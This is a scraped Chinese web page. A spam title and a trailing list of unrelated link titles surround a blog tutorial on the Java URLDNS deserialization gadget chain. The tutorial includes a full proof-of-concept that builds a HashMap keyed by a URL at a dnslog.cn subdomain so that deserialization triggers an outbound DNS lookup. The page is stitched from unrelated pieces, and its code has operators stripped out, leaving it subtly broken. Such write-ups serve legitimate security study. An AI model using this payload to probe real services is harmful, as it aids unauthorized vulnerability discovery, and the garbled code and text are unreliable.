当前位置: 首页 > news >正文

把自己做的网站上传到服务器给我推荐一个网站

把自己做的网站上传到服务器,给我推荐一个网站,苏州建设交通官方网站,保定建设工程信息网站一.前言 在初步学习java的序列化和反序列化之后#xff0c;这里学习java反序列化漏洞的一个利用链#xff0c;也是比较基础的一条链。 由于URLDNS不需要依赖第三方的包#xff0c;同时不限制jdk的版本#xff0c;所以通常用于检测反序列化的点。 二.代码展开分析 构造链 …一.前言 在初步学习java的序列化和反序列化之后这里学习java反序列化漏洞的一个利用链也是比较基础的一条链。 由于URLDNS不需要依赖第三方的包同时不限制jdk的版本所以通常用于检测反序列化的点。 二.代码展开分析 构造链 * Gadget Chain:* HashMap.readObject()* HashMap.putVal()* HashMap.hash()* URL.hashCode() 显示HashMap里面的readObject方法 HashMap为了保证键的唯一性将键里面的每个元素进行计算在类的最下面有个putVal方法里面调用了hash方法跟进到hash方法 如果键为空返回0否则对键进行hashCode与右移16位值异或运算。如果传入的key是url那么就会调用URL类里面的hashCode方法 如果hashCode不是-11则返回hashCode否则执行handler.hashCode 在URL中发现hashCode默认值为-1 所以会执行handler.hashCode handler是URL里面的URLStreamHandler类的一个对象 该类里面的hashCode方法是 protected int hashCode(URL u) {int h 0;// Generate the protocol part.String protocol u.getProtocol();if (protocol ! null)h protocol.hashCode();// Generate the host part.InetAddress addr getHostAddress(u);if (addr ! null) {h addr.hashCode();} else {String host u.getHost();if (host ! null)h host.toLowerCase().hashCode();}// Generate the file part.String file u.getFile();if (file ! null)h file.hashCode();// Generate the port part.if (u.getPort() -1)h getDefaultPort();elseh u.getPort();// Generate the ref part.String ref u.getRef();if (ref ! null)h ref.hashCode();return h;} 里面调用了getHostAddress跟进到这个方法 里面调用了getByname方法对域名进行解析 总的来说 readObject()-HashMap.putVal()-hash()-hashCode()(URL类)-getHostAddress()-getByName() POC,比ysoserial版本更容易理解一些 import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;public class UrlDns {public static void main(String[] args) throws MalformedURLException, IllegalAccessException, NoSuchFieldException {/**** URL类--hashCode()方法--1.hashcode!-1--不执行DNS解析* --2.hashcode-1--handler.hashCode()(hander为URLStreamHandler类对* 象)--getHostAddress(u)--getByName(host)--做一次DNS解析* HashMap类--put(k,v)--putVal()--hash(k)--k.hashCode()* HashMap类* 当HashMap的key传入为Url类型的话k.hashCode()就会执行URL类的hashCode方法* hashCode对象默认为-1也就是说传入的url会默认执行一次解析为了验证是否存在反序列化存在需要在反序列化之前不执行dns解析* 因此需要通过反射将hashCode的v改为其他再执行序列化与反序列化操作*/HashMapURL, Integer hashmap new HashMap();URL url new URL(http://1zxjmx.dnslog.cn);//创建一个新的url类Class urlClass url.getClass();//反射获取url的类名称Field field urlClass.getDeclaredField(hashCode);//反射获取URL类的hashCode字段默认为-1//getDeclaredFields获取当前类的所有字段包括 protected/默认/private 修饰的字段不包括父类public 修饰的字段。field.setAccessible(true);//取消java语言访问检查field.set(url,3);//设置url的hashCode值为3hashmap.put(url,1);//HashMap类的put函数传入键url 和任意一个值field.set(url,-1);// hashCode值变成1才能触发handler.hashCodetry{//序列化FileOutputStream fileOutputStream new FileOutputStream(E:\\tao.txt);ObjectOutputStream objectOutputStream new ObjectOutputStream(fileOutputStream);objectOutputStream.writeObject(hashmap);objectOutputStream.close();fileOutputStream.close();//反序列化FileInputStream fileInputStream new FileInputStream(E:\\tao.txt);ObjectInputStream objectInputStream new ObjectInputStream(fileInputStream);objectInputStream.readObject();objectInputStream.close();fileInputStream.close();} catch (FileNotFoundException e) {throw new RuntimeException(e);} catch (IOException e) {throw new RuntimeException(e);} catch (ClassNotFoundException e) {throw new RuntimeException(e);}}}
http://www.pierceye.com/news/241106/

相关文章:

  • mvc5网站开发之六 管理员p2网站模板
  • 黄页网站推广公司网站建设公司包括哪些内容
  • 网站平台建设目标修改网站j广州网络公司
  • 网站制作商城正规免费发布信息网站
  • 建设企业网站的人员组成莱芜网站建设费用
  • 长春建站网站西宁做网站君博专注
  • 学校实验室网站建设现状怎么做网站 ppt
  • 网站建设骗子公司新开传奇网站发布网
  • 智能模板网站建设方案深圳团购网站设计
  • 网站建设和网页设计用wordpress做网站页面显示404
  • 网站首页百度收录怎么做做装修公司网站
  • 湛江网站排名提升免费网站空间有什么用
  • 装修公司网站 源码绍兴市交通建设检测中心网站
  • 企业建设网站流程图珠海网站建设 旭洁
  • 企业商城网站开发互联网行业公司
  • 中国建设人才服务信息网是正规网站wordpress文章分享
  • 渭南网站建设公司电话央美老师做的家具网站
  • 机械网站建设栏目内容怎么欣赏一个网站设计图
  • 帝国cms 网站搬家wordpress 购物 插件下载
  • 怎么做ppt教程网站手机能访问asp网站
  • 电子商务网站建设与管理教材评价织梦网站地图调用全站文章
  • 020网站开发多少钱汕尾建设网站首页
  • 桓台县建设局网站做弹幕网站有哪些
  • 淘宝客导购网站源码iis默认网站属性
  • 做网站用矢量图还是位图安徽省住房和建设厅网站
  • 彭阳网站建设多少钱嘉兴专业的嘉兴专业网站建设项目
  • 网站建设导航分哪几类公司网站大全
  • 网站建设 实训题安能建设总公司网站打不开
  • 莱西网站建设龙岗中心城有学网站建设
  • 重庆技术网站建设宝安做网站哪家好